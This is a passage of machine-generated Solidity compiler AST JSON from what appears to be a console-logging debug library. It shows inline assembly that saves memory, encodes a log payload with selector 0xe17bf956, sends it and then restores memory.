96"},"value":"0x60"},"src":"1648:14:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":33685,"nodeType":"Block","src":"2437:989:22","statements":[{"assignments":[33643],"declarations":[{"constant":false,"id":33643,"mutability":"mutable","name":"m0","nameLocation":"2541:2:22","nodeType":"VariableDeclaration","scope":33685,"src":"2533:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33642,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2533:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33644,"nodeType":"VariableDeclarationStatement","src":"2533:10:22"},{"assignments":[33646],"declarations":[{"constant":false,"id":33646,"mutability":"mutable","name":"m1","nameLocation":"2565:2:22","nodeType":"VariableDeclaration","scope":33685,"src":"2557:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33645,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2557:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33647,"nodeType":"VariableDeclarationStatement","src":"2557:10:22"},{"assignments":[33649],"declarations":[{"constant":false,"id":33649,"mutability":"mutable","name":"m2","nameLocation":"2589:2:22","nodeType":"VariableDeclaration","scope":33685,"src":"2581:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33648,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2581:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33650,"nodeType":"VariableDeclarationStatement","src":"2581:10:22"},{"assignments":[33652],"declarations":[{"constant":false,"id":33652,"mutability":"mutable","name":"endOffset","nameLocation":"2613:9:22","nodeType":"VariableDeclaration","scope":33685,"src":"2605:17:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33651,"name":"uint256","nodeType":"ElementaryTypeName","src":"2605:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":33656,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33655,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33653,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"2625:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":33654,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33615,"src":"2634:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2625:15:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2605:35:22"},{"AST":{"nativeSrc":"2663:165:22","nodeType":"YulBlock","src":"2663:165:22","statements":[{"nativeSrc":"2681:33:22","nodeType":"YulAssignment","src":"2681:33:22","value":{"arguments":[{"arguments":[{"name":"endOffset","nativeSrc":"2697:9:22","nodeType":"YulIdentifier","src":"2697:9:22"},{"kind":"number","nativeSrc":"2708:4:22","nodeType":"YulLiteral","src":"2708:4:22","type":"","value":"0x00"}],"functionName":{"name":"add","nativeSrc":"2693:3:22","nodeType":"YulIdentifier","src":"2693:3:22"},"nativeSrc":"2693:20:22","nodeType":"YulFunctionCall","src":"2693:20:22"}],"functionName":{"name":"mload","nativeSrc":"2687:5:22","nodeType":"YulIdentifier","src":"2687:5:22"},"nativeSrc":"2687:27:22","nodeType":"YulFunctionCall","src":"2687:27:22"},"variableNames":[{"name":"m0","nativeSrc":"2681:2:22","nodeType":"YulIdentifier","src":"2681:2:22"}]},{"nativeSrc":"2731:33:22","nodeType":"YulAssignment","src":"2731:33:22","value":{"arguments":[{"arguments":[{"name":"endOffset","nativeSrc":"2747:9:22","nodeType":"YulIdentifier","src":"2747:9:22"},{"kind":"number","nativeSrc":"2758:4:22","nodeType":"YulLiteral","src":"2758:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"2743:3:22","nodeType":"YulIdentifier","src":"2743:3:22"},"nativeSrc":"2743:20:22","nodeType":"YulFunctionCall","src":"2743:20:22"}],"functionName":{"name":"mload","nativeSrc":"2737:5:22","nodeType":"YulIdentifier","src":"2737:5:22"},"nativeSrc":"2737:27:22","nodeType":"YulFunctionCall","src":"2737:27:22"},"variableNames":[{"name":"m1","nativeSrc":"2731:2:22","nodeType":"YulIdentifier","src":"2731:2:22"}]},{"nativeSrc":"2781:33:22","nodeType":"YulAssignment","src":"2781:33:22","value":{"arguments":[{"arguments":[{"name":"endOffset","nativeSrc":"2797:9:22","nodeType":"YulIdentifier","src":"2797:9:22"},{"kind":"number","nativeSrc":"2808:4:22","nodeType":"YulLiteral","src":"2808:4:22","type":"","value":"0x40"}],"functionName":{"name":"add","nativeSrc":"2793:3:22","nodeType":"YulIdentifier","src":"2793:3:22"},"nativeSrc":"2793:20:22","nodeType":"YulFunctionCall","src":"2793:20:22"}],"functionName":{"name":"mload","nativeSrc":"2787:5:22","nodeType":"YulIdentifier","src":"2787:5:22"},"nativeSrc":"2787:27:22","nodeType":"YulFunctionCall","src":"2787:27:22"},"variableNames":[{"name":"m2","nativeSrc":"2781:2:22","nodeType":"YulIdentifier","src":"2781:2:22"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33652,"isOffset":false,"isSlot":false,"src":"2697:9:22","valueSize":1},{"declaration":33652,"isOffset":false,"isSlot":false,"src":"2747:9:22","valueSize":1},{"declaration":33652,"isOffset":false,"isSlot":false,"src":"2797:9:22","valueSize":1},{"declaration":33643,"isOffset":false,"isSlot":false,"src":"2681:2:22","valueSize":1},{"declaration":33646,"isOffset":false,"isSlot":false,"src":"2731:2:22","valueSize":1},{"declaration":33649,"isOffset":false,"isSlot":false,"src":"2781:2:22","valueSize":1}],"id":33657,"nodeType":"InlineAssembly","src":"2654:174:22"},{"expression":{"arguments":[{"id":33659,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"2850:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33660,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"2858:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"30783630","id":33661,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2867:4:22","typeDescriptions":{"typeIdentifier":"t_rational_96_by_1","typeString":"int_const 96"},"value":"0x60"},"src":"2858:13:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33663,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33615,"src":"2873:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33658,"name":"_memcopy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33600,"src":"2841:8:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure"}},"id":33664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2841:39:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33665,"nodeType":"ExpressionStatement","src":"2841:39:22"},{"AST":{"nativeSrc":"2903:217:22","nodeType":"YulBlock","src":"2903:217:22","statements":[{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2982:6:22","nodeType":"YulIdentifier","src":"2982:6:22"},{"kind":"number","nativeSrc":"2990:4:22","nodeType":"YulLiteral","src":"2990:4:22","type":"","value":"0x00"}],"functionName":{"name":"add","nativeSrc":"2978:3:22","nodeType":"YulIdentifier","src":"2978:3:22"},"nativeSrc":"2978:17:22","nodeType":"YulFunctionCall","src":"2978:17:22"},{"kind":"number","nativeSrc":"2997:10:22","nodeType":"YulLiteral","src":"2997:10:22","type":"","value":"0xe17bf956"}],"functionName":{"name":"mstore","nativeSrc":"2971:6:22","nodeType":"YulIdentifier","src":"2971:6:22"},"nativeSrc":"2971:37:22","nodeType":"YulFunctionCall","src":"2971:37:22"},"nativeSrc":"2971:37:22","nodeType":"YulExpressionStatement","src":"2971:37:22"},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"3036:6:22","nodeType":"YulIdentifier","src":"3036:6:22"},{"kind":"number","nativeSrc":"3044:4:22","nodeType":"YulLiteral","src":"3044:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"3032:3:22","nodeType":"YulIdentifier","src":"3032:3:22"},"nativeSrc":"3032:17:22","nodeType":"YulFunctionCall","src":"3032:17:22"},{"kind":"number","nativeSrc":"3051:4:22","nodeType":"YulLiteral","src":"3051:4:22","type":"","value":"0x20"}],"functionName":{"name":"mstore","nativeSrc":"3025:6:22","nodeType":"YulIdentifier","src":"3025:6:22"},"nativeSrc":"3025:31:22","nodeType":"YulFunctionCall","src":"3025:31:22"},"nativeSrc":"3025:31:22","nodeType":"YulExpressionStatement","src":"3025:31:22"},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"3084:6:22","nodeType":"YulIdentifier","src":"3084:6:22"},{"kind":"number","nativeSrc":"3092:4:22","nodeType":"YulLiteral","src":"3092:4:22","type":"","value":"0x40"}],"functionName":{"name":"add","nativeSrc":"3080:3:22","nodeType":"YulIdentifier","src":"3080:3:22"},"nativeSrc":"3080:17:22","nodeType":"YulFunctionCall","src":"3080:17:22"},{"name":"length","nativeSrc":"3099:6:22","nodeType":"YulIdentifier","src":"3099:6:22"}],"functionName":{"name":"mstore","nativeSrc":"3073:6:22","nodeType":"YulIdentifier","src":"3073:6:22"},"nativeSrc":"3073:33:22","nodeType":"YulFunctionCall","src":"3073:33:22"},"nativeSrc":"3073:33:22","nodeType":"YulExpressionStatement","src":"3073:33:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33615,"isOffset":false,"isSlot":false,"src":"3099:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2982:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"3036:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"3084:6:22","valueSize":1}],"id":33666,"nodeType":"InlineAssembly","src":"2894:226:22"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33670,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33668,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"3149:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"30783163","id":33669,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3158:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},"src":"3149:13:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33673,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33671,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33615,"src":"3164:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"30783434","id":33672,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3173:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"},"src":"3164:13:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33667,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"3133:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33674,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3133:45:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33675,"nodeType":"ExpressionStatement","src":"3133:45:22"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33677,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"3201:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"30783630","id":33678,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3210:4:22","typeDescriptions":{"typeIdentifier":"t_rational_96_by_1","typeString":"int_const 96"},"value":"0x60"},"src":"3201:13:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33680,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"3216:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33681,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33615,"src":"3224:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33676,"name":"_memcopy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33600,"src":"3192:8:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure"}},"id":33682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3192:39:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33683,"nodeType":"ExpressionStatement","src":"3192:39:22"},{"AST":{"nativeSrc":"3254:162:22","nodeType":"YulBlock","src":"3254:162:22","statements":[{"expression":{"arguments":[{"arguments":[{"name":"endOffset","nativeSrc":"3283:9:22","nodeType":"YulIdentifier","src":"3283:9:22"},{"kind":"number","nativeSrc":"3294:4:22","nodeType":"YulLiteral","src":"3294:4:22","type":"","value":"0x00"}],"functionName":{"name":"add","nativeSrc":"3279:3:22","nodeType":"YulIdentifier","src":"3279:3:22"},"nativeSrc":"3279:20:22","nodeType":"YulFunctionCall","src":"3279:20:22"},{"name":"m0","nativeSrc":"3301:2:22","nodeType":"YulIdentifier","src":"3301:2:22"}],"functionName":{"name":"mstore","nativeSrc":"3272:6:22","nodeType":"YulIdentifier","src":"3272:6:22"},"nativeSrc":"3272:32:22","nodeType":"YulFunctionCall","src":"3272:32:22"},"nativeSrc":"3272:32:22","nodeType":"YulExpressionStatement","src":"3272:32:22"},{"expression":{"arguments":[{"arguments":[{"name":"endOffset","nativeSrc":"3332:9:22","nodeType":"YulIdentifier","src":"3332:9:22"},{"kind":"number","nativeSrc":"3343:4:22","nodeType":"YulLiteral","src":"3343:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"3328:3:22","nodeType":"YulIdentifier","src":"3328:3:22"},"nativeSrc":"3328:20:22","nodeType":"YulFunctionCall","src":"3328:20:22"},{"name":"m1","nativeSrc":"3350:2:22","nodeType":"YulIdentifier","src":"3350:2:22"}],"functionName":{"name":"mstore","nativeSrc":"3321:6:22","nodeType":"YulIdentifier","src":"3321:6:22"},"nativeSrc":"3321:32:22","nodeType":"YulFunctionCall","src":"3321:32:22"},"nativeSrc":"3321:32:22","nodeType":"YulExpressionStatement","src":"3321:32:22"},{"expression":{"arguments":[{"arguments":[{"name":"endOffset","nativeSrc":"3381:9:22","nodeType":"YulIdentifier","src":"3381:9:22"},{"kind":"number","nativeSrc":"3392:4:22","nodeType":"YulLiteral","src":"3392:4:22","type":"","value":"0x40"}],"functionName":{"name":"add","nativeSrc":"3377:3:22","nodeType":"YulIdentifier","src":"3377:3:22"},"nativeSrc":"3377:20:22","nodeType":"YulFunctionCall","src":"3377:20:22"},{"name":"m2","nativeSrc":"3399:2:22","nodeType":"YulIdentifier","src":"3399:2:22"}],"functionName":{"name":"mstore","nativeSrc":"3370:6:22","nodeType":"YulIdentifier","src":"3370:6:22"},"nativeSrc":"3370:32:22","nodeType":"YulFunctionCall","src":"3370:32:22"},"nativeSrc":"3370:32:22","nodeType":"YulExpressionStatement","src":"3370:32:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33652,"isOffset":false,"isSlot":false,"src":"3283:9:22","valueSize":1},{"declaration":33652,"isOffset":false,"isSlot":false,"src":"3332:9:22","valueSize":1},{"declaration":33652,"isOffset":false,"isSlot":false,"src":"3381:9:22","valueSize":1},{"declaration":33643,"isOffset":false,"isSlot":false,"src":"3301:2:22","valueSize":1},{"declaration":33646,"isOffset":false,"isSlot":false,"src":"3350:2:22","valueSize":1},{"declaration":33649,"isOffset":false,"isSlot":false,"src":"3399:2:22","valueSize":1}],"id":33684,"nodeType":"InlineAssembly","src":"3245:171:22"}]},"id":33686,"nodeType":"IfStatement","src":"1644:1782:22","trueBody":{"id":33641,"nodeType":"Block","src":"1664:767:22","statements":[{"assignments":[33622],"declarations":[{"constant":false,"id":33622,"mutability":"mutable","name":"m0","nameLocation":"1756:2:22","nodeType":"VariableDeclaration","scope":33641,"src":"1748:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33621,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1748:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33623,"nodeType":"VariableDeclarationStatement","src":"1748:10:22"},{"assignments":[33625],"declarations":[{"constant":false,"id":33625,"mutability":"mutable","name":"m1","nameLocation":"1780:2:22","nodeType":"VariableDeclaration","scope":33641,"src":"1772:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33624,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1772:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33626,"nodeType":"VariableDeclarationStatement","src":"1772:10:22"},{"assignments":[33628],"declarations":[{"constant":false,"id":33628,"mutability":"mutable","name":"m2","nameLocation":"1804:2:22","nodeType":"VariableDeclaration","scope":33641,"src":"1796:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33627,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1796:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33629,"nodeType":"VariableDeclarationStatement","src":"1796:10:22"},{"AST":{"nativeSrc":"1829:358:22","nodeType":"YulBlock","src":"1829:358:22","statements":[{"nativeSrc":"1847:30:22","nodeType":"YulAssignment","src":"1847:30:22","value":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"1863:6:22","nodeType":"YulIdentifier","src":"1863:6:22"},{"kind":"number","nativeSrc":"1871:4:22","nodeType":"YulLiteral","src":"1871:4:22","type":"","value":"0x60"}],"functionName":{"name":"sub","nativeSrc":"1859:3:22","nodeType":"YulIdentifier","src":"1859:3:22"},"nativeSrc":"1859:17:22","nodeType":"YulFunctionCall","src":"1859:17:22"}],"functionName":{"name":"mload","nativeSrc":"1853:5:22","nodeType":"YulIdentifier","src":"1853:5:22"},"nativeSrc":"1853:24:22","nodeType":"YulFunctionCall","src":"1853:24:22"},"variableNames":[{"name":"m0","nativeSrc":"1847:2:22","nodeType":"YulIdentifier","src":"1847:2:22"}]},{"nativeSrc":"1894:30:22","nodeType":"YulAssignment","src":"1894:30:22","value":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"1910:6:22","nodeType":"YulIdentifier","src":"1910:6:22"},{"kind":"number","nativeSrc":"1918:4:22","nodeType":"YulLiteral","src":"1918:4:22","type":"","value":"0x40"}],"functionName":{"name":"sub","nativeSrc":"1906:3:22","nodeType":"YulIdentifier","src":"1906:3:22"},"nativeSrc":"1906:17:22","nodeType":"YulFunctionCall","src":"1906:17:22"}],"functionName":{"name":"mload","nativeSrc":"1900:5:22","nodeType":"YulIdentifier","src":"1900:5:22"},"nativeSrc":"1900:24:22","nodeType":"YulFunctionCall","src":"1900:24:22"},"variableNames":[{"name":"m1","nativeSrc":"1894:2:22","nodeType":"YulIdentifier","src":"1894:2:22"}]},{"nativeSrc":"1941:30:22","nodeType":"YulAssignment","src":"1941:30:22","value":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"1957:6:22","nodeType":"YulIdentifier","src":"1957:6:22"},{"kind":"number","nativeSrc":"1965:4:22","nodeType":"YulLiteral","src":"1965:4:22","type":"","value":"0x20"}],"functionName":{"name":"sub","nativeSrc":"1953:3:22","nodeType":"YulIdentifier","src":"1953:3:22"},"nativeSrc":"1953:17:22","nodeType":"YulFunctionCall","src":"1953:17:22"}],"functionName":{"name":"mload","nativeSrc":"1947:5:22","nodeType":"YulIdentifier","src":"1947:5:22"},"nativeSrc":"1947:24:22","nodeType":"YulFunctionCall","src":"1947:24:22"},"variableNames":[{"name":"m2","nativeSrc":"1941:2:22","nodeType":"YulIdentifier","src":"1941:2:22"}]},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2049:6:22","nodeType":"YulIdentifier","src":"2049:6:22"},{"kind":"number","nativeSrc":"2057:4:22","nodeType":"YulLiteral","src":"2057:4:22","type":"","value":"0x60"}],"functionName":{"name":"sub","nativeSrc":"2045:3:22","nodeType":"YulIdentifier","src":"2045:3:22"},"nativeSrc":"2045:17:22","nodeType":"YulFunctionCall","src":"2045:17:22"},{"kind":"number","nativeSrc":"2064:10:22","nodeType":"YulLiteral","src":"2064:10:22","type":"","value":"0xe17bf956"}],"functionName":{"name":"mstore","nativeSrc":"2038:6:22","nodeType":"YulIdentifier","src":"2038:6:22"},"nativeSrc":"2038:37:22","nodeType":"YulFunctionCall","src":"2038:37:22"},"nativeSrc":"2038:37:22","nodeType":"YulExpressionStatement","src":"2038:37:22"},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2103:6:22","nodeType":"YulIdentifier","src":"2103:6:22"},{"kind":"number","nativeSrc":"2111:4:22","nodeType":"YulLiteral","src":"2111:4:22","type":"","value":"0x40"}],"functionName":{"name":"sub","nativeSrc":"2099:3:22","nodeType":"YulIdentifier","src":"2099:3:22"},"nativeSrc":"2099:17:22","nodeType":"YulFunctionCall","src":"2099:17:22"},{"kind":"number","nativeSrc":"2118:4:22","nodeType":"YulLiteral","src":"2118:4:22","type":"","value":"0x20"}],"functionName":{"name":"mstore","nativeSrc":"2092:6:22","nodeType":"YulIdentifier","src":"2092:6:22"},"nativeSrc":"2092:31:22","nodeType":"YulFunctionCall","src":"2092:31:22"},"nativeSrc":"2092:31:22","nodeType":"YulExpressionStatement","src":"2092:31:22"},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2151:6:22","nodeType":"YulIdentifier","src":"2151:6:22"},{"kind":"number","nativeSrc":"2159:4:22","nodeType":"YulLiteral","src":"2159:4:22","type":"","value":"0x20"}],"functionName":{"name":"sub","nativeSrc":"2147:3:22","nodeType":"YulIdentifier","src":"2147:3:22"},"nativeSrc":"2147:17:22","nodeType":"YulFunctionCall","src":"2147:17:22"},{"name":"length","nativeSrc":"2166:6:22","nodeType":"YulIdentifier","src":"2166:6:22"}],"functionName":{"name":"mstore","nativeSrc":"2140:6:22","nodeType":"YulIdentifier","src":"2140:6:22"},"nativeSrc":"2140:33:22","nodeType":"YulFunctionCall","src":"2140:33:22"},"nativeSrc":"2140:33:22","nodeType":"YulExpressionStatement","src":"2140:33:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33615,"isOffset":false,"isSlot":false,"src":"2166:6:22","valueSize":1},{"declaration":33622,"isOffset":false,"isSlot":false,"src":"1847:2:22","valueSize":1},{"declaration":33625,"isOffset":false,"isSlot":false,"src":"1894:2:22","valueSize":1},{"declaration":33628,"isOffset":false,"isSlot":false,"src":"1941:2:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"1863:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"1910:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"1957:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2049:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2103:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2151:6:22","valueSize":1}],"id":33630,"nodeType":"InlineAssembly","src":"1820:367:22"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33634,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33632,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"2216:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"30783434","id":33633,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2225:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"},"src":"2216:13:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33637,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33635,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33615,"src":"2231:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"30783434","id":33636,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2240:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"},"src":"2231:13:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33631,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"2200:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2200:45:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33639,"nodeType":"ExpressionStatement","src":"2200:45:22"},{"AST":{"nativeSrc":"2268:153:22","nodeType":"YulBlock","src":"2268:153:22","statements":[{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2297:6:22","nodeType":"YulIdentifier","src":"2297:6:22"},{"kind":"number","nativeSrc":"2305:4:22","nodeType":"YulLiteral","src":"2305:4:22","type":"","value":"0x60"}],"functionName":{"name":"sub","nativeSrc":"2293:3:22","nodeType":"YulIdentifier","src":"2293:3:22"},"nativeSrc":"2293:17:22","nodeType":"YulFunctionCall","src":"2293:17:22"},{"name":"m0","nativeSrc":"2312:2:22","nodeType":"YulIdentifier","src":"2312:2:22"}],"functionName":{"name":"mstore","nativeSrc":"2286:6:22","nodeType":"YulIdentifier","src":"2286:6:22"},"nativeSrc":"2286:29:22","nodeType":"YulFunctionCall","src":"2286:29:22"},"nativeSrc":"2286:29:22","nodeType":"YulExpressionStatement","src":"2286:29:22"},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2343:6:22","nodeType":"YulIdentifier","src":"2343:6:22"},{"kind":"number","nativeSrc":"2351:4:22","no